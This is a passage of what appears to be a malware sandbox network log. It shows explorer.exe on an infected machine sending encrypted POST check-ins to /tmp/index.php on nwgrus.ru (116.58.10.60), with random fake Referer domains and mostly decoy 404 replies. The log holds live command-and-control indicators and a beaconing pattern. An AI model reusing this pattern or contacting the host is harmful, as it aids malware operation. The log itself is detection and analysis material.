Sep 25, 2024 16:01:50.603859901 CEST	200	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 3c 49 d5 9c Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu<IQnv~.1oi(E>}~0@$QCZ>/V.,1B!,=z`\|jN.
Sep 25, 2024 16:01:51.860969067 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:51 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49728	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:51.873326063 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ecpbasxejvhmni.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 173 Host: nwgrus.ru
Sep 25, 2024 16:01:51.873358011 CEST	173	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 30 02 a0 ae Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu0o[c:/ Oe9rhkws1<(N0{SU&d1/
Sep 25, 2024 16:01:53.130346060 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:52 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49729	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:53.138679028 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pklhudfcrpsm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 303 Host: nwgrus.ru
Sep 25, 2024 16:01:53.138693094 CEST	303	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 6e 57 e2 fb Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vunWe[fv\N5y9X?FJ5\\:$,P}"]>~&;8H[33xT+yKm'z~Vp4]vv%Ld
Sep 25, 2024 16:01:54.403583050 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:54 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49730	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:54.420666933 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bwdwojspdgtrj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 166 Host: nwgrus.ru
Sep 25, 2024 16:01:54.420680046 CEST	166	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 35 57 d5 f9 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu5W~[rDmkpRES^ak[\)9-P1\d7){{
Sep 25, 2024 16:01:55.668787956 CEST	189	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:55 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 59 39 08 a5 6c 5f b5 ac 17 bd cf b4 fe 6d 9f 3d d4 a1 72 0a 41 c2 8f 97 cb Data Ascii: #\6Y9l_m=rA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49732	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:57.194613934 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://otxnyveihviep.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 257 Host: nwgrus.ru
Sep 25, 2024 16:01:57.194637060 CEST	257	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2c 5b 18 6b 2c 90 f4 76 0b 75 3d 4f f3 ad Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA ,[k,vu=OGj\^]5'[\|b}U0h%tQ&U@IK[f]au5B%%JuDFL?CpICZp??3!4i
Sep 25, 2024 16:01:58.462407112 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:58 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49733	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:58.471280098 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://btdksbvigeadnr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 160 Host: nwgrus.ru
Sep 25, 2024 16:01:58.471318007 CEST	160	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 57 2f c9 ed Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vuW/x!{r?u\<_, bT!kEx?S_42IbU^&(E
Sep 25, 2024 16:01:59.728923082 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:59 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49735	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:59.737637997 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xwykiojnclenqqi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 116 Host: nwgrus.ru
Sep 25, 2024 16:01:59.737658978 CEST	116	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 4e 38 c2 95 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vuN8!a^{D'Y
Sep 25, 2024 16:02:01.002402067 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:02:00 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49736	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:02:01.058787107 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nhtxkrllcfsfts.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 275 Host: nwgrus.ru
Sep 25, 2024 16:02:01.059075117 CEST	275	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 28 01 b0 f4 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu(X@NCk+4a"hW;(DL"#BJ4^(b7_1{8p76/KO.tl$[OgI6(8
Sep 25, 2024 16:02:02.506156921 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:02:02 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49737	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:02:02.523468018 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xdbwevihetlvramf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 237 Host: nwgrus.ru
Sep 25, 2024 16:02:02.523485899 CEST	237	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 55 1e b3 aa Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vuU_MZWIc9,ZS\\#[v:\$DFl^ i+X}"u&+sN(V,VBrSPp>
Sep 25, 2024 16:02:04.095367908 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:02:03 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49738	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:02:04.106247902 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kktprwryymhwgw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 363 Host: nwgrus.ru
Sep 25, 2024 16:02:04.106264114 CEST	363	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 7e 0e a1 a6 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu~pUowM'V^VfiD}:!fPL([\|UF*Ep>M95r^Z2Zg0[P/VtKzKW\|/\|jO76
Sep 25, 2024 16:02:06.504560947 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:02:06 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49739	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:02:06.513477087 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://waytjuqjooe.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 320 Host: nwgrus.ru
Sep 25, 2024 16:02:06.513477087 CEST	320	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 78 5b fc a8 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vux[^lBpnR}zzik~BRE-N$Kr{?FCy)c7_"FftZ/l9hf@7VtOeoT9%
Sep 25, 2024 16:02:07.770028114 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:02:07 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 